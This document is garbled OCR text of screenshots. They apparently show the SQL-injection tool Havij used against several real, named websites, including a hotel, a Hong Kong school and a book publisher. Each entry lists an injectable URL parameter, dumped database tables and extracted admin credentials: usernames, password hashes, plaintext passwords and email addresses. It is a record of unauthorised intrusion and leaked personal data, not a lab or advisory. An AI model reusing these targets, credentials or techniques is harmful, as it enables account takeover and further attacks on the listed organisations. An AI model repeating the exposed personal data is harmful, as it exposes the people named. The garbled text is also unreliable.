Md Soyab Akhter Sadik
Email: mr.sadik2175@gmail.com

# Havij

Target: http://www.embryohotel.com/reom-detail.php?id=1

Here are some examples from Havij:

> http://www.embryohotel.com/room-detail.php?id=1

[J Kepword:  Auto Detect

[JSyntax: Auto Detect

4

Analyze

DataBase:  Auto Detect

? @ @ 5| = @
About Info Tobles  ResdFiles CrcShel  Query

Stan ‘ GetDBs  GetTables GetColumns Get Data

] room_option

v Method GET

&

Find Admin MD5 Settings

Save Tables  Save Data

Tepe:  Auto Detect

& d

™ Load Save

[] room_image
~[lroom
[l news
~[Dlecal_area
[image
[ contact
&[] admin
i [¥] pemission

[ last_update
o[ last_insert

8 Use Graup_Concat (MySOL Onlp) () Allin ore request,

username password

admin €742c63f03ab602f2b38433ffc28b.
ARMERX 8988c8ch582506f93b59b794af72...

permission

1
a

" Staus: Im IDLE

Havij 1.12 Free ready!

Clear Log

\Analyzing http://www.target.com/index.asplid=123
Error: 301 Moved Permanently

Host IP: 151.101.194.187

Web Server: Varnish

Finding Keyword...

Error: 301 Moved Permanently

Can not find keyword but let me do a try

Finding Injection type...

by 23°C
& Mostly clear

Q Search

ey 154 AM
A B B D s


mailto:mr.sadik2175@gmail.com
http://www.embryohotel.com/room-detail.php?id=1*
http://www.embryohotel.com/room-detail.php?id=1*

> http://www.uni-1.com.hk/about_en.php?id=2

# Havij = a x
Target: http:/fwww.uni-1.com.hk/about_en.php?id=2 »
Anal
(O keyward:  Auto Detect [ Syntax Auto Detect e
DataBassl  Auto Detect ~ | Method  GET ~| Type Auto Detect ~| Load Save

3 @ Bl a ® i T ]
About Info Tables  ReadFiles Crd$hel  Query  FindAdmin  MDS  Settings

Stap ‘ Get DBs. Get Tables Get Columns  Get Data M Save Tables  Save Data
password username user_id last_login
80bac55c175d255a520f5112d5e8... admin 1 2024-01-05 16:21:45

[ registiation
[ page
[ rews
- enquiny
~[] course
8 Use Group_Concat (MySAL Only) (] Allin one request

" Status: Im IDLE Clear Log

(Tables found: category,course,enquiry,news,page, registration, text,user

Count(column_name) of information_schema.columns Where table_schema=0x756E6931646231 AND table_name=0x75736572 is &
Columns found: user_id, state, username, password, [P, last_login

Count(*) of uniidbl.oser is 1

Data Found: password=80bac55c175d255a520f5112d5e8f07¢

Data Found: username=admin

Data Found: user_id=

Data Found: last_login=2024-01-05 16:21:45

Sy 23°C
¥ Mostly clear

1:58 AM
4/12/2025
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> http://www.pupilbooks.in/book/book.php?id=12&subject id=28

# Havij = a b4

Targst https//www.pupilbooks.in/book/bosk phpid=128subject_id=28. 3

Anal
[ Kepword:  Auto Detect [OSuntax Auto Detect nalyze

DataBase:  Auto Detect ~ Method  GET ~ Tupe Auto Detect ~

3 @ Bl a ® i T ]
About Info Tables  ReadFiles Crd$hel  Query  FindAdmin  MDS  Settings

Stap ‘ Get DBs. Get Tables Get Columns  Get Data M Save Tables  Save Data
[ t_board
[ tbl_awards

B[] thl_admin_users jitin.jain... zagaml... aagam
[ v webste jitin.jain... jitin Jitin
i-Oestatus fain jitin... jtin jitin jainl
O] v_userType
i [] createTimeStamp jain jitin... jitin webmasterl

Load Save

v_email  v_pass.. v_username

[ v_fulname
+_useiname

~[] sectians
~[] sample_paper
8 Use Group_Concat (WMySGL Only) () Allin one request

" Status: Im IDLE Clear Log

Data Found: v_password=jitin

Data Found: v_username=Jitin

Data Found: v_email=jain.jitin@gmail.com
Data Found: v_password=jitin

Data Found: v_username=jitin jainl

Data Found: v_email=jain.jitin@amail.com
Data Found: v_password=jitin

Data Found: v_username=webmasterl

2y 2970
¥ Mostly clear

2:25 AM
4/12/2025
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> https://www.bishopwalsh.edu.hk/news_detail.php?id=59

# Havij = a x
Target: http:/fwww. -edu.hk/news_detail b
Anal
(O keyward:  Auto Detect [ Syntax Auto Detect e
DataBass:  Auto Detect ~ Method:  GET ~ Type: Auto Detect ~| Load Save
7 @ B a ® & T
About Info Tables Read Files  Crnd Shell Query  Find Admin MD3 Settings
Stap ‘ Get DBs. Get Tables Get Columns  Get Data Save Tables  Save Data
“[verse
5 D o usr_name usi_pwd
[ wst_pwd_mod_usi_id Administrator 293453210e7f6047 14d3e1c92ed2ffff77400752
- [ust_pwd_mod_ip EastTech 42071234f44b567813955235245b2497399d7393
D usr_pwd_mod_dt SystemCreate
us_pwd
UserModify

[ wsr_email
UST_hamme Init
] wst_login_name
L werst

[ usr_fived

- [usr_sort_id

o[ wsr_sart_tv

[ usr_login_fail_ct

8 Use Group_Concat (MySOL Only] [ Allin one request

© Status I'mIDLE

Clear Log

retrying

f
Data Found: u:

usr_name=Init
T f s illegal u
Data Found: usr_pwe

2y 2970
¥ Mostly clear

@ .OBE%ae E

1%

> https://www.jeevanscientific.com/newsdetails.php?id=9

[nttp:/7:

[JKepword: [Auto Detect ] Osyntax [2ute

DataBase: | Auto Detect | Metod: [GET

Network
A @ ] B @ &
About Info Tobles  ReadFiles C Query  Find Admin

@ e

] i | e
Stap GetDBs  GetTables GetColumns Get Data Save Tables

Type: | Auto Detect

T
MD5

Save Data

[l delete_flag ~
[ status ol
[l modiied_by
[ created by
] dt_modiied
[ crested
[ldob

password
info@jeevanscientfic.com Jeevan@123
Employee 123456
onlinetax 123456
admin1@oninetax.com admin1

Commant
prompy

[image om

% mobile admin3@onlnetax.com
password

email

Clname

admn@123

Cuid
[ tbL_about v

4l one request

[ Use Group_Concat (MySQL Orly)

* Status: I'mIDLE

ClearLog

[Data Found: email=onlinetax
assword=123456
mail=admin1@onlinetax.com

ord=admini
mail=admini@onlinetax.com
assword=adminl@onlinetax.com
mail=admin3@oniinetax.com
assword=admin@12:

P Type here to search

o

38°C Haze A €& 3 D)
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